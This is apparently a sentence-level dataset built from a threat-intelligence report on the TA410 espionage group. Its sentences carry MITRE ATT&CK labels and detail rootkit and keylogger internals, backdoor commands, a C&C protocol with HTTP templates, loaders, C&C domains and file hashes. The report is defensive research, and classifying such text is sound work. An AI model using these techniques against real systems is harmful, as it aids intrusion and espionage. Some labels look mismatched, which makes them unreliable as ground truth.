{"sentence": "Driver (hidmouse.sys) FlowCloud’s driver serves a dual purpose: it acts as both a keylogger and a rootkit.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It accomplishes this mainly by hijacking native drivers’ handler functions for specific I/O control codes and replacing them with its own: Read (IRP_MJ_READ) for the keyboard driver (kbdclass or KeyboardClass0) Read (IRP_MJ_READ) for the mouse driver (mouclass or PointerClass0)", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Device control (IRP_MJ_DEVICE_CONTROL) for the network driver (tcpip or nsiproxy)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The driver also provides kernel-level functionalities to be used by the RAT.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "They can be invoked via IO control codes or by writing to specific registry keys.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module is signed with a certificate with the thumbprint 02ED6A578C575C8D9C72398E790354B095BB07BC.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Issued to Hangzhou Leishite Laser Technology Co. in 2012 by Wosign and revoked in 2014, it seems most likely this certificate was stolen.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Keylogging In its IRP_MJ_READ handlers for keyboard and mouse events, the driver simply records IO events to lookaside lists before passing them to the legitimate handler.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This ensures that the driver doesn’t interfere in a way that could be noticeable by the user.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These events are then parsed to the format used by the backdoor’s keymouse_manager and written to the named pipe \\\\.\\pipe\\namedpipe_keymousespy_english.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Rootkit After hijacking the aforementioned drivers, the rootkit erases the DLL names associated with them from internal structures used to display device drivers.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The rootkit can prevent processes from being shown by utilities that list running processes, such as Task Manager.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "As shown in Figure 17, it achieves this by removing their entries from the ActiveProcessLinks list of the undocumented KPROCESS kernel structure.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Since this structure is not part of the public API and can change between releases, the rootkit contains code to match the operating system’s build number to the correct offsets in this structure.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "That code covers all versions from Windows XP to Windows 10 20H1.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This functionality can be invoked on any process via the IOCTL_HIDE_PROCESS_BY_PROCESSID (0x222028) control code.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is also used, on driver startup, to hide the process with the PID contained in the registry key HKLM\\HARDWARE\\{76BA14B7-AF0C-4dc9-9E9D-2A6970F231D9}.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This process is further camouflaged by changing its associated executable filename to one of svchost.exe or dllhost.exe in the same kernel structure.", "labels": ["T1036.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Function used to prevent a process from being displayed in lists of running processes Through its hijacking of the network driver, the rootkit can also hide a single process’s network traffic from local utilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The process whose traffic is to be hidden is set through the IOCTL_SET_TRAFFICHIDE_PROCESSID (0x222048) control code.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Some of the rootkit’s functions are used by the fcClientDll module to hide the process in which it is running.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Control codes to manipulate a process name in various internal structures are also exposed by the driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Persistence module (fcClientWD)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module is relatively simple compared to other components.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The previously mentioned NetTask already accomplishes persistence in most cases, by executing on system startup.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module complements that mechanism by ensuring persistence in a very specific edge case where execution of the malware might be interrupted: the user logs out on a system with hibernation and Fastboot enabled.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On systems where either of those is disabled, this module does nothing.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud v4.1.3 This older version of FlowCloud has already been described in a Proofpoint blogpost and presents similarities to the newer version described in the preceding subsections, so we will only highlight notable differences and new information revealed by our analysis.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This version runs multiple anti-analysis and anti-detection checks before executing its payload, and terminates if any of those tests detect that the process is being analyzed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It checks running processes for executables of several known cybersecurity vendors.", "labels": ["T1057", "T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "While most of these names are also present in version 5, this list is not a strict subset of the one v.5 uses.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This tends to support the proposition that versions 4 and 5 of FlowCloud are maintained in parallel.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It also embeds a DLL version of the Pafish (aka Paranoid Fish) sandbox and analysis detection tool as one of its encrypted resources.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This library is loaded in memory and all of the anti-analysis/anti-sandboxing checks it implements are run.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Interestingly, the driver installed is the same as the one for version 5.0.2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Those used by version 5.0.3 provide identical functionality, but differ slightly.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 – LookingFrog LookingFrog uses two main malware families: X4 and LookBack.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We have seen both of them on machines belonging to the same victim. X4 X4 is a custom backdoor that is used as a first stage, before LookBack is deployed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is loaded by a VMProtect-ed loader, usually named PortableDeviceApi.dll or WptsExtensions.dll.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Unfortunately, we were not able to uncover any persistence method.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The loader injects an orchestrator into memory in a svchost.exe process.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In turn, the orchestrator injects the network component into memory and communicates with it via a file located at C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Log\\rsa.txt.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 18 shows a summary of the X4 components.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Summary of the X4 components The network component is shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is encrypted using the AES algorithm and stored in the Windows registry.", "labels": ["T1112", "T1573.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 2 shows the three registry keys used by X4.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Network shellcode registry keys Registry KeyDescription HKLM\\SOFTWARE\\Microsoft\\DRM\\X4KeyAES key. HKLM\\SOFTWARE\\Microsoft\\DRM\\PSKeyName of the process into which the shellcode will be injected (spoolsv.exe). HKLM\\SOFTWARE\\Microsoft\\DRM\\X4DataEncrypted shellcode.", "labels": ["T1055", "T1112", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The decrypted shellcode looks like it was based on Metasploit and communicates with a hardcoded IP address via HTTP.", "labels": ["T1071.001", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "An interesting characteristic is that it uses the fake Host header onedrive.live.com.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Every second, the orchestrator, which lives in memory only, reads the cleartext rsa.txt file to check whether there are new commands to execute.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The commands are received from the C&C server, via the network shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the orchestrator, the commands are identified by a numerical identifier that is computed from the command name, as shown in Figure 19. Figure 19.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Custom hash function seen in X4 The orchestrator handles seven commands, detailed in Table 3.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Output of these commands is written to C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Log\\output.log.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "X4 backdoor commands IDNameDescription 0x3ECFF9B9D92osloadWrite new encrypted shellcode to HKLM\\SOFTWARE\\Microsoft\\DRM\\X4Data.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It can also modify X4Key and PSKey.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0x3F5FAFC0EDDpskillKill a process by PID.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0x3F5FB1E6015pslistList the running processes using CreateToolhelp32Snapshot and Process32Next.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0x3B6C27610D1injectDecrypt and inject shellcode, from encrypted form on disk, into memory.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0xDA83E71execExecute a given command line.", "labels": ["T1059.003"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0xE9478DCliveGet the PID of the process in which the orchestrator is running.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "0x6D6E70D40caclsModify the access controls of a given object using SetEntriesInAclA, SetNamedSecurityInfoA and BuildExplicitAccessWithName.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "X4 provides basic functionalities to control the machine remotely, but it lacks more advanced spying capabilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack The LookBack backdoor has previously been described by Proofpoint; we are therefore providing a quick summary and our analysis of the custom network protocol.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Backdoor In all samples we observed, the LookBack loader is a legitimate version of libcurl.dll with the curl_share_init (ordinal #52) export modified to load the SodomNormal communications module.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This corroborates the observation by Proofpoint researchers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This module is embedded in the library’s resource section and encrypted with an algorithm similar to RC4.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The encryption/decryption function, shown in Figure 20, always uses the same key. Figure 20.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Decompiled view of the function used to encrypt and decrypt the embedded module The SodomNormal component tries to read configuration information from a sodom.ini file.", "labels": ["T1027", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This configuration file is encrypted using the just-described function and starts with the magic bytes 0xAF1324BC.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "If this file is unavailable or invalid, a hardcoded default configuration is used.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A unique victim ID is then generated from the victim’s CPUID, username, and IP address.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is sent to the server along with the computer’s name and the configuration data.", "labels": ["T1082"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The communications module then downloads the main backdoor module, named SodomMain, from the C&C server.", "labels": ["T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Unfortunately, we couldn’t obtain this module.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Communication protocol LookBack can communicate over HTTP or via its “normal protocol”.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In either case, the data being transferred is the same.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack’s normal protocol uses raw TCP sockets and a custom message format described in Table 4.", "labels": ["T1095"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This message is composed of eight header fields, followed by a body of variable length.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The message body is encrypted with the function previously described for the SodomNormal resource in the loader (Figure 20).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The encrypted data is then compressed with the deflate algorithm via the compress function of the statically linked zlib.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack message format FieldOffset (bytes)Note Magic bytes0x00The constant 0x48AB2EC2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Messages that don’t start with this magic value are discarded.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "<Message dependent>0x04 Compressed body size0x08 Uncompressed body size0x0C Checksum0x10CRC32 of the message body.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Message type0x14Integer value indicating the message’s content and the associated action to be performed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We have found code for over 50 message types.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "There seems to be little to no overlap between the values used by the client and the server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 5 presents the types we have analyzed in more depth.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "<Message dependent>0x18 <Message dependent>0x1C Message Body0x20The message body can be empty.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In this case, the checksum and length fields are set to 0x00.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 5.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookBack message types Message typeUsed byDescription 2ClientRegister with C&C server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The body contains configuration and information about the victim host. 3ServerAcknowledgment for message type 2. 8ClientRequest to download the main backdoor component (SodomMain).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "9ServerReply to message type 8.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The message body contains the SodomMain file.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "36 and 38ClientTransfer file to server in message body.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "35 and 37ServerResponse to message 36 or 38.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "41ClientRequest file from server.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "42ServerTransfer file to client in message body (response to message 41)", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The HTTP protocol uses the message format detailed in the previous paragraph, but it adds a few extra steps to disguise its traffic as legitimate HTTP.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It uses a pair of hardcoded templates, one for client requests and another for server responses.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The fields required for HTTP, such as content length, address, and port number, are filled in with the correct values; useless data is used for the others.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "For client requests, the messages are encoded with a modified hexadecimal algorithm that uses the encoding alphabet a-p instead of the conventional 0-9a-f.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This provides some obfuscation and ensures that messages will not contain binary data or be obviously hex encoded, both of which could look suspicious in an application/x-www-form-urlencoded message.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The request’s body is composed of this encoded value prefixed with the hardcoded string id=1&op=report&status=. Client request and server response templates are shown in Figure 21 and Figure 22 respectively, with the template fields in angle brackets.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "POST <C&C address + port>/status.php?r=<epoch timestamp><random 16-bit int> HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-usUser-Agent: <return value of ObtainUserAgentString OR \"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\">Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: <C&C url>Content-Length: <content length>", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Connection: Keep-AliveCache-Control: no-cache id=1&op=report&status=<encoded LookBack message> Figure 21.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Template used for HTTP client requests On the server side, the data described in the previous section is sent directly as binary data in the body with a header purporting it is a GIF image.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "HTTP/1.1 200 OKServer: nginx/1.12.2Date: <current time> GMTLast-Modified: <current time - 100 seconds>", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "GMTETag:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "<3 random 16-bit ints>Accept-Ranges: bytesContent-Length: <content length>Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: image/gif <LookBack message> Figure 22.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Template used for HTTP server responses TA410 – JollyFrog This third team uses off-the-shelf malware from the known malware families QuasarRAT and Korplug (aka PlugX).", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "JollyFrog mostly aligns with what was described by Fortinet as APT10. Korplug Korplug, also known as PlugX, is a backdoor that has been used for years by many different cyberespionage groups.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Despite being well known, it is still in use and we have observed TA410 using it as recently as in April 2021.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In the case of TA410, Korplug arrives as a RARSFX archive, generally named m.exe, containing three files: qrt.dll: A custom loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "qrtfix.exe: A legitimate signed application from F-Secure, vulnerable to DLL search-order hijacking.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "qrt.dll.usb:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The Korplug shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The loader allocates memory using VirtualAlloc and copies the content of qrt.dll.usb there.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Then it jumps right into the shellcode that will decompress and load the Korplug payload.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "QuasarRAT QuasarRAT is a full-featured backdoor freely available on GitHub.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is used by numerous threat actors who perform cyberespionage or cybercrime.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 uses a custom downloader and a custom loader written in .NET, which are convenient for identifying their instances of QuasarRAT among all the noise created by other attackers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Named sll.exe, this downloader is digitally signed with the certificate seen in Figure 23.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The certificate is likely stolen and belongs to 北京和赢讯时科技有限公司 (translated: Beijing Heyingxunshi Technology Co., Ltd.) with thumbprint 850821D88A4475F0310F10FBA806353A4113D252.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Although the certificate has now been revoked, it was still valid when this sample was signed on August 10th, 2020.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Digital signature of the QuasarRAT downloader This downloader simply downloads the loader and encrypted QuasarRAT payload from the hardcoded C&C server http://ffca.caibi379[.]com, at /rwjh/new/.", "labels": ["T1027", "T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This server was previously linked to FlowCloud (FlowingFrog).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The loader is named PresentationCache.exe and is protected with DNGuard, a commercial .NET packer.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It is also signed with the same certificate as the downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It decrypts and loads the final QuasarRAT payload, which uses cahe.microsofts[.]org as its C&C server.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Conclusion TA410 is a cyberespionage umbrella targeting high-profile entities such as governments and universities worldwide.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET is revealing its latest findings about this group, including results from ongoing research, during Botconf 2022.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Initial access to targets is obtained by exploiting vulnerable internet-facing applications such as Microsoft Exchange, or by sending spearphishing emails with malicious attachments such as RTF documents created via the Royal Road builder.", "labels": ["T1190", "T1566.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Even though the JollyFrog team uses generic tools, FlowingFrog and LookingFrog have access to complex implants such as FlowCloud and LookBack.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "YARA and Snort rules for these implants are available in ESET’s GitHub repository.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET Research now also offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "IoCs Files SHA-1FilenameDetectionDescription C96558312FBF5847351B0B6F724D7B3A31CCAF03N/AWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UWRFlowCloud v5.0.3 initial loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "1403241C415A8D686B1148FA4229A2EB833D8D08setlangloc.dllWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UNLFlowCloud DLL hijacking malicious library.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "38D0E92AFF991CFC9C68D7BAAD6CB85916139AF5hidmouse.sysWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKRTA410 32-bit Rootkit/Keylogger driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "AF978ED8AD37CE1437A6B42D96BF518D5C4CFD19hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKRTA410 64-bit Rootkit/Keylogger driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "B70F3A3A9B5B8506EE95791469CA496E01AD7DAFwinver32.dllWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ULHFlowCloud v4.1.3 hcClientLoaderZero_x86 backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "014421BDB1EA105A6DF0C27FC114819FF3637704hhh.exeWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ABYKFlowCloud v4.1.3 initial loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EA298866E5A61FEEA4D062987F23B10A78C8A4CAN/AWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ULHFlowCloud v4.1.3 backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "021B9E2E8AA30B29569254C0378A9F43E4F32EECwinver64.dllWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "KMFlowCloud v4.1.3 hcClientLoaderZero_x64 backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "2A2F08FAD6B0A86DC94885224687D954E739CC21N/AWin32/ParanoidFish.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "APafish sandbox detection tool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "3658B7CCA13C8C8AD03E9B6AEFE4B9CBE48E3C81hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKRTA410 Rootkit/Keylogger driver.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "517488F6BD0E7FC9EDE82F37226A75212B277E21hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
